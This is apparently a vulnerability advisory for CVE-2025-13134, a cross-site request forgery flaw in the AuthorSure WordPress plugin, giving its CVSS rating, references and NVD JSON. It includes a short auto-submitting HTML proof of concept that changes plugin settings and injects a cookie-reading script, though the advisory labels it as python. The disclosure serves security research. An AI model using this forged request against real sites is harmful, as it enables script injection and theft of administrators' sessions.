CVE-2025-13134

Description

The AuthorSure plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.3. This is due to missing or incorrect nonce validation on the 'authorsure' page. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AuthorSure Plugin <= 2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13134 -->
<html>
<body>
<form action="http://target-site/wp-admin/admin.php?page=authorsure" method="POST" enctype="application/x-www-form-urlencoded">
  <input type="hidden" name="authorsure_option" value="malicious_script">
  <input type="hidden" name="authorsure_value" value="<script>alert(document.cookie)</script>">
  <input type="hidden" name="action" value="update">
  <input type="submit" value="Submit request">
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13134
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13134
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13134/
[4] VulDB https://vuldb.com/cve/CVE-2025-13134
[5] https://drive.google.com/file/d/1ZVmQSyjgRxNVGef7Zkzdws8kLraxOt59/view?pli=1
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/81070529-b269-44b0-8f21-b08add63a099?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13134", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:54.630", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AuthorSure plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.3. This is due to missing or incorrect nonce validation on the 'authorsure' page. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://drive.google.com/file/d/1ZVmQSyjgRxNVGef7Zkzdws8kLraxOt59/view?pli=1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/81070529-b269-44b0-8f21-b08add63a099?source=cve", "source": "[email protected]"}]}}